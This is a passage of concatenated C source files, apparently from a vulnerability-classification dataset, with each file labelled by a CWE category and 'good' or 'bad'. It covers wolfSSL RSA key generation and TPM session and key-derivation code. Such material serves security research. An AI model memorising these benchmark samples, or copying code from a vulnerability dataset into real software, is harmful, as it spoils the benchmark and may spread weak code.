2^((nlen/2)-1)) where nlen is 4096. * This number was calculated using a small test tool written with a common * large number math library. Other values of nlen may be checked with a subset * of lower_bound. */ static const byte lower_bound[] = { 0xB5, 0x04, 0xF3, 0x33, 0xF9, 0xDE, 0x64, 0x84, 0x59, 0x7D, 0x89, 0xB3, 0x75, 0x4A, 0xBE, 0x9F, 0x1D, 0x6F, 0x60, 0xBA, 0x89, 0x3B, 0xA8, 0x4C, 0xED, 0x17, 0xAC, 0x85, 0x83, 0x33, 0x99, 0x15, /* 512 */ 0x4A, 0xFC, 0x83, 0x04, 0x3A, 0xB8, 0xA2, 0xC3, 0xA8, 0xB1, 0xFE, 0x6F, 0xDC, 0x83, 0xDB, 0x39, 0x0F, 0x74, 0xA8, 0x5E, 0x43, 0x9C, 0x7B, 0x4A, 0x78, 0x04, 0x87, 0x36, 0x3D, 0xFA, 0x27, 0x68, /* 1024 */ 0xD2, 0x20, 0x2E, 0x87, 0x42, 0xAF, 0x1F, 0x4E, 0x53, 0x05, 0x9C, 0x60, 0x11, 0xBC, 0x33, 0x7B, 0xCA, 0xB1, 0xBC, 0x91, 0x16, 0x88, 0x45, 0x8A, 0x46, 0x0A, 0xBC, 0x72, 0x2F, 0x7C, 0x4E, 0x33, 0xC6, 0xD5, 0xA8, 0xA3, 0x8B, 0xB7, 0xE9, 0xDC, 0xCB, 0x2A, 0x63, 0x43, 0x31, 0xF3, 0xC8, 0x4D, 0xF5, 0x2F, 0x12, 0x0F, 0x83, 0x6E, 0x58, 0x2E, 0xEA, 0xA4, 0xA0, 0x89, 0x90, 0x40, 0xCA, 0x4A, /* 2048 */ 0x81, 0x39, 0x4A, 0xB6, 0xD8, 0xFD, 0x0E, 0xFD, 0xF4, 0xD3, 0xA0, 0x2C, 0xEB, 0xC9, 0x3E, 0x0C, 0x42, 0x64, 0xDA, 0xBC, 0xD5, 0x28, 0xB6, 0x51, 0xB8, 0xCF, 0x34, 0x1B, 0x6F, 0x82, 0x36, 0xC7, 0x01, 0x04, 0xDC, 0x01, 0xFE, 0x32, 0x35, 0x2F, 0x33, 0x2A, 0x5E, 0x9F, 0x7B, 0xDA, 0x1E, 0xBF, 0xF6, 0xA1, 0xBE, 0x3F, 0xCA, 0x22, 0x13, 0x07, 0xDE, 0xA0, 0x62, 0x41, 0xF7, 0xAA, 0x81, 0xC2, /* 3072 */ 0xC1, 0xFC, 0xBD, 0xDE, 0xA2, 0xF7, 0xDC, 0x33, 0x18, 0x83, 0x8A, 0x2E, 0xAF, 0xF5, 0xF3, 0xB2, 0xD2, 0x4F, 0x4A, 0x76, 0x3F, 0xAC, 0xB8, 0x82, 0xFD, 0xFE, 0x17, 0x0F, 0xD3, 0xB1, 0xF7, 0x80, 0xF9, 0xAC, 0xCE, 0x41, 0x79, 0x7F, 0x28, 0x05, 0xC2, 0x46, 0x78, 0x5E, 0x92, 0x95, 0x70, 0x23, 0x5F, 0xCF, 0x8F, 0x7B, 0xCA, 0x3E, 0xA3, 0x3B, 0x4D, 0x7C, 0x60, 0xA5, 0xE6, 0x33, 0xE3, 0xE1 /* 4096 */ }; /* returns 1 on key size ok and 0 if not ok */ static WC_INLINE int RsaSizeCheck(int size) { if (size < RSA_MIN_SIZE || size > RSA_MAX_SIZE) { return 0; } #ifdef HAVE_FIPS /* Key size requirements for CAVP */ switch (size) { case 1024: case 2048: case 3072: case 4096: return 1; } return 0; #else return 1; /* allow unusual key sizes in non FIPS mode */ #endif /* HAVE_FIPS */ } static int _CheckProbablePrime(mp_int* p, mp_int* q, mp_int* e, int nlen, int* isPrime, WC_RNG* rng) { int ret; mp_int tmp1, tmp2; mp_int* prime; if (p == NULL || e == NULL || isPrime == NULL) return BAD_FUNC_ARG; if (!RsaSizeCheck(nlen)) return BAD_FUNC_ARG; *isPrime = MP_NO; if (q != NULL) { /* 5.4 - check that |p-q| <= (2^(1/2))(2^((nlen/2)-1)) */ ret = wc_CompareDiffPQ(p, q, nlen); if (ret != MP_OKAY) goto notOkay; prime = q; } else prime = p; ret = mp_init_multi(&tmp1, &tmp2, NULL, NULL, NULL, NULL); if (ret != MP_OKAY) goto notOkay; /* 4.4,5.5 - Check that prime >= (2^(1/2))(2^((nlen/2)-1)) * This is a comparison against lowerBound */ ret = mp_read_unsigned_bin(&tmp1, lower_bound, nlen/16); if (ret != MP_OKAY) goto notOkay; ret = mp_cmp(prime, &tmp1); if (ret == MP_LT) goto exit; /* 4.5,5.6 - Check that GCD(p-1, e) == 1 */ ret = mp_sub_d(prime, 1, &tmp1); /* tmp1 = prime-1 */ if (ret != MP_OKAY) goto notOkay; ret = mp_gcd(&tmp1, e, &tmp2); /* tmp2 = gcd(prime-1, e) */ if (ret != MP_OKAY) goto notOkay; ret = mp_cmp_d(&tmp2, 1); if (ret != MP_EQ) goto exit; /* e divides p-1 */ /* 4.5.1,5.6.1 - Check primality of p with 8 rounds of M-R. * mp_prime_is_prime_ex() performs test divisions against the first 256 * prime numbers. After that it performs 8 rounds of M-R using random * bases between 2 and n-2. * mp_prime_is_prime() performs the same test divisions and then does * M-R with the first 8 primes. Both functions set isPrime as a * side-effect. */ if (rng != NULL) ret = mp_prime_is_prime_ex(prime, 8, isPrime, rng); else ret = mp_prime_is_prime(prime, 8, isPrime); if (ret != MP_OKAY) goto notOkay; exit: ret = MP_OKAY; notOkay: mp_clear(&tmp1); mp_clear(&tmp2); return ret; } int wc_CheckProbablePrime_ex(const byte* pRaw, word32 pRawSz, const byte* qRaw, word32 qRawSz, const byte* eRaw, word32 eRawSz, int nlen, int* isPrime, WC_RNG* rng) { mp_int p, q, e; mp_int* Q = NULL; int ret; if (pRaw == NULL || pRawSz == 0 || eRaw == NULL || eRawSz == 0 || isPrime == NULL) { return BAD_FUNC_ARG; } if ((qRaw != NULL && qRawSz == 0) || (qRaw == NULL && qRawSz != 0)) return BAD_FUNC_ARG; ret = mp_init_multi(&p, &q, &e, NULL, NULL, NULL); if (ret == MP_OKAY) ret = mp_read_unsigned_bin(&p, pRaw, pRawSz); if (ret == MP_OKAY) { if (qRaw != NULL) { ret = mp_read_unsigned_bin(&q, qRaw, qRawSz); if (ret == MP_OKAY) Q = &q; } } if (ret == MP_OKAY) ret = mp_read_unsigned_bin(&e, eRaw, eRawSz); if (ret == MP_OKAY) ret = _CheckProbablePrime(&p, Q, &e, nlen, isPrime, rng); ret = (ret == MP_OKAY) ? 0 : PRIME_GEN_E; mp_clear(&p); mp_clear(&q); mp_clear(&e); return ret; } int wc_CheckProbablePrime(const byte* pRaw, word32 pRawSz, const byte* qRaw, word32 qRawSz, const byte* eRaw, word32 eRawSz, int nlen, int* isPrime) { return wc_CheckProbablePrime_ex(pRaw, pRawSz, qRaw, qRawSz, eRaw, eRawSz, nlen, isPrime, NULL); } #if !defined(HAVE_FIPS) || (defined(HAVE_FIPS) && \ defined(HAVE_FIPS_VERSION) && (HAVE_FIPS_VERSION >= 2)) /* Make an RSA key for size bits, with e specified, 65537 is a good e */ int wc_MakeRsaKey(RsaKey* key, int size, long e, WC_RNG* rng) { #ifndef WC_NO_RNG #ifdef WOLFSSL_SMALL_STACK mp_int *p = (mp_int *)XMALLOC(sizeof *p, key->heap, DYNAMIC_TYPE_RSA); mp_int *q = (mp_int *)XMALLOC(sizeof *q, key->heap, DYNAMIC_TYPE_RSA); mp_int *tmp1 = (mp_int *)XMALLOC(sizeof *tmp1, key->heap, DYNAMIC_TYPE_RSA); mp_int *tmp2 = (mp_int *)XMALLOC(sizeof *tmp2, key->heap, DYNAMIC_TYPE_RSA); mp_int *tmp3 = (mp_int *)XMALLOC(sizeof *tmp3, key->heap, DYNAMIC_TYPE_RSA); #else mp_int p_buf, *p = &p_buf; mp_int q_buf, *q = &q_buf; mp_int tmp1_buf, *tmp1 = &tmp1_buf; mp_int tmp2_buf, *tmp2 = &tmp2_buf; mp_int tmp3_buf, *tmp3 = &tmp3_buf; #endif int err, i, failCount, primeSz, isPrime = 0; byte* buf = NULL; #ifdef WOLFSSL_SMALL_STACK if ((p == NULL) || (q == NULL) || (tmp1 == NULL) || (tmp2 == NULL) || (tmp3 == NULL)) { err = MEMORY_E; goto out; } #endif if (key == NULL || rng == NULL) { err = BAD_FUNC_ARG; goto out; } if (!RsaSizeCheck(size)) { err = BAD_FUNC_ARG; goto out; } if (e < 3 || (e & 1) == 0) { err = BAD_FUNC_ARG; goto out; } #if defined(WOLFSSL_CRYPTOCELL) err = cc310_RSA_GenerateKeyPair(key, size, e); goto out; #endif /*WOLFSSL_CRYPTOCELL*/ #ifdef WOLF_CRYPTO_CB if (key->devId != INVALID_DEVID) { err = wc_CryptoCb_MakeRsaKey(key, size, e, rng); if (err != CRYPTOCB_UNAVAILABLE) goto out; /* fall-through when unavailable */ } #endif #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(WC_ASYNC_ENABLE_RSA_KEYGEN) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA) { #ifdef HAVE_CAVIUM /* TODO: Not implemented */ #elif defined(HAVE_INTEL_QA) err = IntelQaRsaKeyGen(&key->asyncDev, key, size, e, rng); goto out; #else if (wc_AsyncTestInit(&key->asyncDev, ASYNC_TEST_RSA_MAKE)) { WC_ASYNC_TEST* testDev = &key->asyncDev.test; testDev->rsaMake.rng = rng; testDev->rsaMake.key = key; testDev->rsaMake.size = size; testDev->rsaMake.e = e; err = WC_PENDING_E; goto out; } #endif } #endif err = mp_init_multi(p, q, tmp1, tmp2, tmp3, NULL); if (err == MP_OKAY) err = mp_set_int(tmp3, e); /* The failCount value comes from NIST FIPS 186-4, section B.3.3, * process steps 4.7 and 5.8. */ failCount = 5 * (size / 2); primeSz = size / 16; /* size is the size of n in bits. primeSz is in bytes. */ /* allocate buffer to work with */ if (err == MP_OKAY) { buf = (byte*)XMALLOC(primeSz, key->heap, DYNAMIC_TYPE_RSA); if (buf == NULL) err = MEMORY_E; } /* make p */ if (err == MP_OKAY) { isPrime = 0; i = 0; do { #ifdef SHOW_GEN printf("."); fflush(stdout); #endif /* generate value */ err = wc_RNG_GenerateBlock(rng, buf, primeSz); if (err == 0) { /* prime lower bound has the MSB set, set it in candidate */ buf[0] |= 0x80; /* make candidate odd */ buf[primeSz-1] |= 0x01; /* load value */ err = mp_read_unsigned_bin(p, buf, primeSz); } if (err == MP_OKAY) err = _CheckProbablePrime(p, NULL, tmp3, size, &isPrime, rng); #ifdef HAVE_FIPS i++; #else /* Keep the old retry behavior in non-FIPS build. */ (void)i; #endif } while (err == MP_OKAY && !isPrime && i < failCount); } if (err == MP_OKAY && !isPrime) err = PRIME_GEN_E; /* make q */ if (err == MP_OKAY) { isPrime = 0; i = 0; do { #ifdef SHOW_GEN printf("."); fflush(stdout); #endif /* generate value */ err = wc_RNG_GenerateBlock(rng, buf, primeSz); if (err == 0) { /* prime lower bound has the MSB set, set it in candidate */ buf[0] |= 0x80; /* make candidate odd */ buf[primeSz-1] |= 0x01; /* load value */ err = mp_read_unsigned_bin(q, buf, primeSz); } if (err == MP_OKAY) err = _CheckProbablePrime(p, q, tmp3, size, &isPrime, rng); #ifdef HAVE_FIPS i++; #else /* Keep the old retry behavior in non-FIPS build. */ (void)i; #endif } while (err == MP_OKAY && !isPrime && i < failCount); } if (err == MP_OKAY && !isPrime) err = PRIME_GEN_E; if (buf) { ForceZero(buf, primeSz); XFREE(buf, key->heap, DYNAMIC_TYPE_RSA); } if (err == MP_OKAY && mp_cmp(p, q) < 0) { err = mp_copy(p, tmp1); if (err == MP_OKAY) err = mp_copy(q, p); if (err == MP_OKAY) mp_copy(tmp1, q); } /* Setup RsaKey buffers */ if (err == MP_OKAY) err = mp_init_multi(&key->n, &key->e, &key->d, &key->p, &key->q, NULL); if (err == MP_OKAY) err = mp_init_multi(&key->dP, &key->dQ, &key->u, NULL, NULL, NULL); /* Software Key Calculation */ if (err == MP_OKAY) /* tmp1 = p-1 */ err = mp_sub_d(p, 1, tmp1); if (err == MP_OKAY) /* tmp2 = q-1 */ err = mp_sub_d(q, 1, tmp2); #ifdef WC_RSA_BLINDING if (err == MP_OKAY) /* tmp3 = order of n */ err = mp_mul(tmp1, tmp2, tmp3); #else if (err == MP_OKAY) /* tmp3 = lcm(p-1, q-1), last loop */ err = mp_lcm(tmp1, tmp2, tmp3); #endif /* make key */ if (err == MP_OKAY) /* key->e = e */ err = mp_set_int(&key->e, (mp_digit)e); #ifdef WC_RSA_BLINDING /* Blind the inverse operation with a value that is invertable */ if (err == MP_OKAY) { do { err = mp_rand(&key->p, get_digit_count(tmp3), rng); if (err == MP_OKAY) err = mp_set_bit(&key->p, 0); if (err == MP_OKAY) err = mp_set_bit(&key->p, size - 1); if (err == MP_OKAY) err = mp_gcd(&key->p, tmp3, &key->q); } while ((err == MP_OKAY) && !mp_isone(&key->q)); } if (err == MP_OKAY) err = mp_mul_d(&key->p, (mp_digit)e, &key->e); #endif if (err == MP_OKAY) /* key->d = 1/e mod lcm(p-1, q-1) */ err = mp_invmod(&key->e, tmp3, &key->d); #ifdef WC_RSA_BLINDING /* Take off blinding from d and reset e */ if (err == MP_OKAY) err = mp_mulmod(&key->d, &key->p, tmp3, &key->d); if (err == MP_OKAY) err = mp_set_int(&key->e, (mp_digit)e); #endif if (err == MP_OKAY) /* key->n = pq */ err = mp_mul(p, q, &key->n); if (err == MP_OKAY) /* key->dP = d mod(p-1) */ err = mp_mod(&key->d, tmp1, &key->dP); if (err == MP_OKAY) /* key->dQ = d mod(q-1) */ err = mp_mod(&key->d, tmp2, &key->dQ); #ifdef WOLFSSL_MP_INVMOD_CONSTANT_TIME if (err == MP_OKAY) /* key->u = 1/q mod p */ err = mp_invmod(q, p, &key->u); #else if (err == MP_OKAY) err = mp_sub_d(p, 2, tmp3); if (err == MP_OKAY) /* key->u = 1/q mod p = q^p-2 mod p */ err = mp_exptmod(q, tmp3 , p, &key->u); #endif if (err == MP_OKAY) err = mp_copy(p, &key->p); if (err == MP_OKAY) err = mp_copy(q, &key->q); #ifdef HAVE_WOLF_BIGINT /* make sure raw unsigned bin version is available */ if (err == MP_OKAY) err = wc_mp_to_bigint(&key->n, &key->n.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->e, &key->e.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->d, &key->d.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->p, &key->p.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->q, &key->q.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->dP, &key->dP.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->dQ, &key->dQ.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->u, &key->u.raw); #endif if (err == MP_OKAY) key->type = RSA_PRIVATE; mp_clear(tmp1); mp_clear(tmp2); mp_clear(tmp3); mp_clear(p); mp_clear(q); #if defined(WOLFSSL_KEY_GEN) && !defined(WOLFSSL_NO_RSA_KEY_CHECK) /* Perform the pair-wise consistency test on the new key. */ if (err == 0) err = wc_CheckRsaKey(key); #endif if (err != 0) { wc_FreeRsaKey(key); goto out; } #if defined(WOLFSSL_XILINX_CRYPT) || defined(WOLFSSL_CRYPTOCELL) if (wc_InitRsaHw(key) != 0) { return BAD_STATE_E; } #endif err = 0; out: #ifdef WOLFSSL_SMALL_STACK if (p) XFREE(p, key->heap, DYNAMIC_TYPE_RSA); if (q) XFREE(q, key->heap, DYNAMIC_TYPE_RSA); if (tmp1) XFREE(tmp1, key->heap, DYNAMIC_TYPE_RSA); if (tmp2) XFREE(tmp2, key->heap, DYNAMIC_TYPE_RSA); if (tmp3) XFREE(tmp3, key->heap, DYNAMIC_TYPE_RSA); #endif return err; #else return NOT_COMPILED_IN; #endif } #endif /* !FIPS || FIPS_VER >= 2 */ #endif /* WOLFSSL_KEY_GEN */ #ifdef WC_RSA_BLINDING int wc_RsaSetRNG(RsaKey* key, WC_RNG* rng) { if (key == NULL) return BAD_FUNC_ARG; key->rng = rng; return 0; } #endif /* WC_RSA_BLINDING */ #ifdef WC_RSA_NONBLOCK int wc_RsaSetNonBlock(RsaKey* key, RsaNb* nb) { if (key == NULL) return BAD_FUNC_ARG; if (nb) { XMEMSET(nb, 0, sizeof(RsaNb)); } /* Allow nb == NULL to clear non-block mode */ key->nb = nb; return 0; } #ifdef WC_RSA_NONBLOCK_TIME int wc_RsaSetNonBlockTime(RsaKey* key, word32 maxBlockUs, word32 cpuMHz) { if (key == NULL || key->nb == NULL) { return BAD_FUNC_ARG; } /* calculate maximum number of instructions to block */ key->nb->exptmod.maxBlockInst = cpuMHz * maxBlockUs; return 0; } #endif /* WC_RSA_NONBLOCK_TIME */ #endif /* WC_RSA_NONBLOCK */ #endif /* NO_RSA */
./CrossVul/dataset_final_sorted/CWE-787/c/good_4491_0
crossvul-cpp_data_good_3274_4
//**********************************************************************; // Copyright (c) 2015, Intel Corporation // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. //**********************************************************************; #include <stdbool.h> #include <stdlib.h> #include <sapi/tpm20.h> #include "string-bytes.h" #include "tpm_kdfa.h" #include "tpm_session.h" /* for APP_RC_CREATE_SESSION_KEY_FAILED error code */ #define SESSIONS_ARRAY_COUNT MAX_NUM_SESSIONS+1 typedef struct { SESSION session; void *nextEntry; } SESSION_LIST_ENTRY; static SESSION_LIST_ENTRY *local_sessions_list = 0; static INT16 local_session_entries_used = 0; /* * GetDigestSize() was taken from the TSS code base * and moved here since it was not part of the public * exxported API at the time. */ typedef struct { TPM_ALG_ID algId; UINT16 size; // Size of digest } HASH_SIZE_INFO; HASH_SIZE_INFO hashSizes[] = { {TPM_ALG_SHA1, SHA1_DIGEST_SIZE}, {TPM_ALG_SHA256, SHA256_DIGEST_SIZE}, #ifdef TPM_ALG_SHA384 {TPM_ALG_SHA384, SHA384_DIGEST_SIZE}, #endif #ifdef TPM_ALG_SHA512 {TPM_ALG_SHA512, SHA512_DIGEST_SIZE}, #endif {TPM_ALG_SM3_256, SM3_256_DIGEST_SIZE}, {TPM_ALG_NULL,0} }; static UINT16 GetDigestSize( TPM_ALG_ID authHash ) { UINT32 i; for(i = 0; i < (sizeof(hashSizes)/sizeof(HASH_SIZE_INFO)); i++ ) { if( hashSizes[i].algId == authHash ) return hashSizes[i].size; } // If not found, return 0 size, and let TPM handle the error. return( 0 ); } static TPM_RC AddSession( SESSION_LIST_ENTRY **sessionEntry ) { SESSION_LIST_ENTRY **newEntry; // find end of list. for( newEntry = &local_sessions_list; *newEntry != 0; *newEntry = ( (SESSION_LIST_ENTRY *)*newEntry)->nextEntry ) ; // allocate space for session structure. *newEntry = malloc( sizeof( SESSION_LIST_ENTRY ) ); if( *newEntry != 0 ) { *sessionEntry = *newEntry; (*sessionEntry)->nextEntry = 0; local_session_entries_used++; return TPM_RC_SUCCESS; } else { return TSS2_APP_RC_SESSION_SLOT_NOT_FOUND; } } static void DeleteSession( SESSION *session ) { SESSION_LIST_ENTRY *predSession; void *newNextEntry; if( session == &local_sessions_list->session ) local_sessions_list = 0; else { // Find predecessor. for( predSession = local_sessions_list; predSession != 0 && &( ( ( SESSION_LIST_ENTRY *)predSession->nextEntry )->session ) != session; predSession = predSession->nextEntry ) ; if( predSession != 0 ) { local_session_entries_used--; newNextEntry = &( (SESSION_LIST_ENTRY *)predSession->nextEntry)->nextEntry; free( predSession->nextEntry ); predSession->nextEntry = newNextEntry; } } } // // This is a wrapper function around the TPM2_StartAuthSession command. // It performs the command, calculates the session key, and updates a // SESSION structure. // static TPM_RC StartAuthSession(TSS2_SYS_CONTEXT *sapi_context, SESSION *session ) { TPM_RC rval; TPM2B_ENCRYPTED_SECRET key; char label[] = "ATH"; UINT16 bytes; int i; key.t.size = 0; if( session->nonceOlder.t.size == 0 ) { /* this is an internal routine to TSS and should be removed */ session->nonceOlder.t.size = GetDigestSize( TPM_ALG_SHA1 ); for( i = 0; i < session->nonceOlder.t.size; i++ ) session->nonceOlder.t.buffer[i] = 0; } session->nonceNewer.t.size = session->nonceOlder.t.size; rval = Tss2_Sys_StartAuthSession( sapi_context, session->tpmKey, session->bind, 0, &( session->nonceOlder ), &( session->encryptedSalt ), session->sessionType, &( session->symmetric ), session->authHash, &( session->sessionHandle ), &( session->nonceNewer ), 0 ); if( rval == TPM_RC_SUCCESS ) { if( session->tpmKey == TPM_RH_NULL ) session->salt.t.size = 0; if( session->bind == TPM_RH_NULL ) session->authValueBind.t.size = 0; if( session->tpmKey == TPM_RH_NULL && session->bind == TPM_RH_NULL ) { session->sessionKey.b.size = 0; } else { // Generate the key used as input to the KDF. // Generate the key used as input to the KDF. bool result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->authValueBind.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->salt.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } bytes = GetDigestSize( session->authHash ); if( key.t.size == 0 ) { session->sessionKey.t.size = 0; } else { rval = tpm_kdfa(session->authHash, &(key.b), label, &( session->nonceNewer.b ), &( session->nonceOlder.b ), bytes * 8, (TPM2B_MAX_BUFFER *)&( session->sessionKey ) ); } if( rval != TPM_RC_SUCCESS ) { return( TSS2_APP_RC_CREATE_SESSION_KEY_FAILED ); } } session->nonceTpmDecrypt.b.size = 0; session->nonceTpmEncrypt.b.size = 0; session->nvNameChanged = 0; } return rval; } TPM_RC tpm_session_auth_end( SESSION *session ) { TPM_RC rval = TPM_RC_SUCCESS; DeleteSession( session ); return rval; } // // This version of StartAuthSession initializes the fields // of the session structure using the passed in // parameters, then calls StartAuthSession // with just a pointer to the session structure. // This allows all params to be set in one line of code when // the function is called; cleaner this way, for // some uses. // TPM_RC tpm_session_start_auth_with_params(TSS2_SYS_CONTEXT *sapi_context, SESSION **session, TPMI_DH_OBJECT tpmKey, TPM2B_MAX_BUFFER *salt, TPMI_DH_ENTITY bind, TPM2B_AUTH *bindAuth, TPM2B_NONCE *nonceCaller, TPM2B_ENCRYPTED_SECRET *encryptedSalt, TPM_SE sessionType, TPMT_SYM_DEF *symmetric, TPMI_ALG_HASH algId ) { TPM_RC rval; SESSION_LIST_ENTRY *sessionEntry; rval = AddSession( &sessionEntry ); if( rval == TSS2_RC_SUCCESS ) { *session = &sessionEntry->session; // Copy handles to session struct. (*session)->bind = bind; (*session)->tpmKey = tpmKey; // Copy nonceCaller to nonceOlder in session struct. // This will be used as nonceCaller when StartAuthSession // is called. memcpy( &(*session)->nonceOlder.b, &nonceCaller->b, sizeof(nonceCaller->b)); // Copy encryptedSalt memcpy( &(*session)->encryptedSalt.b, &encryptedSalt->b, sizeof(encryptedSalt->b)); // Copy sessionType. (*session)->sessionType = sessionType; // Init symmetric. (*session)->symmetric.algorithm = symmetric->algorithm; (*session)->symmetric.keyBits.sym = symmetric->keyBits.sym; (*session)->symmetric.mode.sym = symmetric->mode.sym; (*session)->authHash = algId; // Copy bind' authValue. if( bindAuth == 0 ) { (*session)->authValueBind.b.size = 0; } else { memcpy( &( (*session)->authValueBind.b ), &( bindAuth->b ), sizeof(bindAuth->b)); } // Calculate sessionKey if( (*session)->tpmKey == TPM_RH_NULL ) { (*session)->salt.t.size = 0; } else { memcpy( &(*session)->salt.b, &salt->b, sizeof(salt->b)); } if( (*session)->bind == TPM_RH_NULL ) (*session)->authValueBind.t.size = 0; rval = StartAuthSession(sapi_context, *session ); } else { DeleteSession( *session ); } return( rval ); }
./CrossVul/dataset_final_sorted/CWE-522/c/good_3274_4
crossvul-cpp_data_good_3274_2
//**********************************************************************; // Copyright (c) 2015, Intel Corporation // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. //**********************************************************************; #include <sapi/tpm20.h> #include <openssl/err.h> #include <openssl/hmac.h> #include "string-bytes.h" #include "tpm_hmac.h" #include "log.h" static const EVP_MD *tpm_algorithm_to_openssl_digest(TPMI_ALG_HASH algorithm) { switch(algorithm) { case TPM_ALG_SHA1: return EVP_sha1(); case ALG_SHA256_VALUE: return EVP_sha256(); case TPM_ALG_SHA384: return EVP_sha384(); case TPM_ALG_SHA512: return EVP_sha512(); default: return NULL; } /* no return, not possible */ } TPM_RC tpm_kdfa(TPMI_ALG_HASH hashAlg, TPM2B *key, char *label, TPM2B *contextU, TPM2B *contextV, UINT16 bits, TPM2B_MAX_BUFFER *resultKey ) { TPM2B_DIGEST tpm2bLabel, tpm2bBits, tpm2b_i_2; UINT8 *tpm2bBitsPtr = &tpm2bBits.t.buffer[0]; UINT8 *tpm2b_i_2Ptr = &tpm2b_i_2.t.buffer[0]; TPM2B_DIGEST *bufferList[8]; UINT32 bitsSwizzled, i_Swizzled; TPM_RC rval = TPM_RC_SUCCESS; int i, j; UINT16 bytes = bits / 8; resultKey->t .size = 0; tpm2b_i_2.t.size = 4; tpm2bBits.t.size = 4; bitsSwizzled = string_bytes_endian_convert_32( bits ); *(UINT32 *)tpm2bBitsPtr = bitsSwizzled; for(i = 0; label[i] != 0 ;i++ ); tpm2bLabel.t.size = i+1; for( i = 0; i < tpm2bLabel.t.size; i++ ) { tpm2bLabel.t.buffer[i] = label[i]; } resultKey->t.size = 0; i = 1; const EVP_MD *md = tpm_algorithm_to_openssl_digest(hashAlg); if (!md) { LOG_ERR("Algorithm not supported for hmac: %x", hashAlg); return TPM_RC_HASH; } HMAC_CTX ctx; HMAC_CTX_init(&ctx); int rc = HMAC_Init_ex(&ctx, key->buffer, key->size, md, NULL); if (!rc) { LOG_ERR("HMAC Init failed: %s", ERR_error_string(rc, NULL)); return TPM_RC_MEMORY; } // TODO Why is this a loop? It appears to only execute once. while( resultKey->t.size < bytes ) { TPM2B_DIGEST tmpResult; // Inner loop i_Swizzled = string_bytes_endian_convert_32( i ); *(UINT32 *)tpm2b_i_2Ptr = i_Swizzled; j = 0; bufferList[j++] = (TPM2B_DIGEST *)&(tpm2b_i_2.b); bufferList[j++] = (TPM2B_DIGEST *)&(tpm2bLabel.b); bufferList[j++] = (TPM2B_DIGEST *)contextU; bufferList[j++] = (TPM2B_DIGEST *)contextV; bufferList[j++] = (TPM2B_DIGEST *)&(tpm2bBits.b); bufferList[j] = (TPM2B_DIGEST *)0; int c; for(c=0; c < j; c++) { TPM2B_DIGEST *digest = bufferList[c]; int rc = HMAC_Update(&ctx, digest->b.buffer, digest->b.size); if (!rc) { LOG_ERR("HMAC Update failed: %s", ERR_error_string(rc, NULL)); rval = TPM_RC_MEMORY; goto err; } } unsigned size = sizeof(tmpResult.t.buffer); int rc = HMAC_Final(&ctx, tmpResult.t.buffer, &size); if (!rc) { LOG_ERR("HMAC Final failed: %s", ERR_error_string(rc, NULL)); rval = TPM_RC_MEMORY; goto err; } tmpResult.t.size = size; bool res = string_bytes_concat_buffer(resultKey, &(tmpResult.b)); if (!res) { rval = TSS2_SYS_RC_BAD_VALUE; goto err; } } // Truncate the result to the desired size. resultKey->t.size = bytes; err: HMAC_CTX_cleanup(&ctx); return rval; }
./CrossVul/dataset_final_sorted/CWE-522/c/good_3274_2
crossvul-cpp_data_bad_4451_0
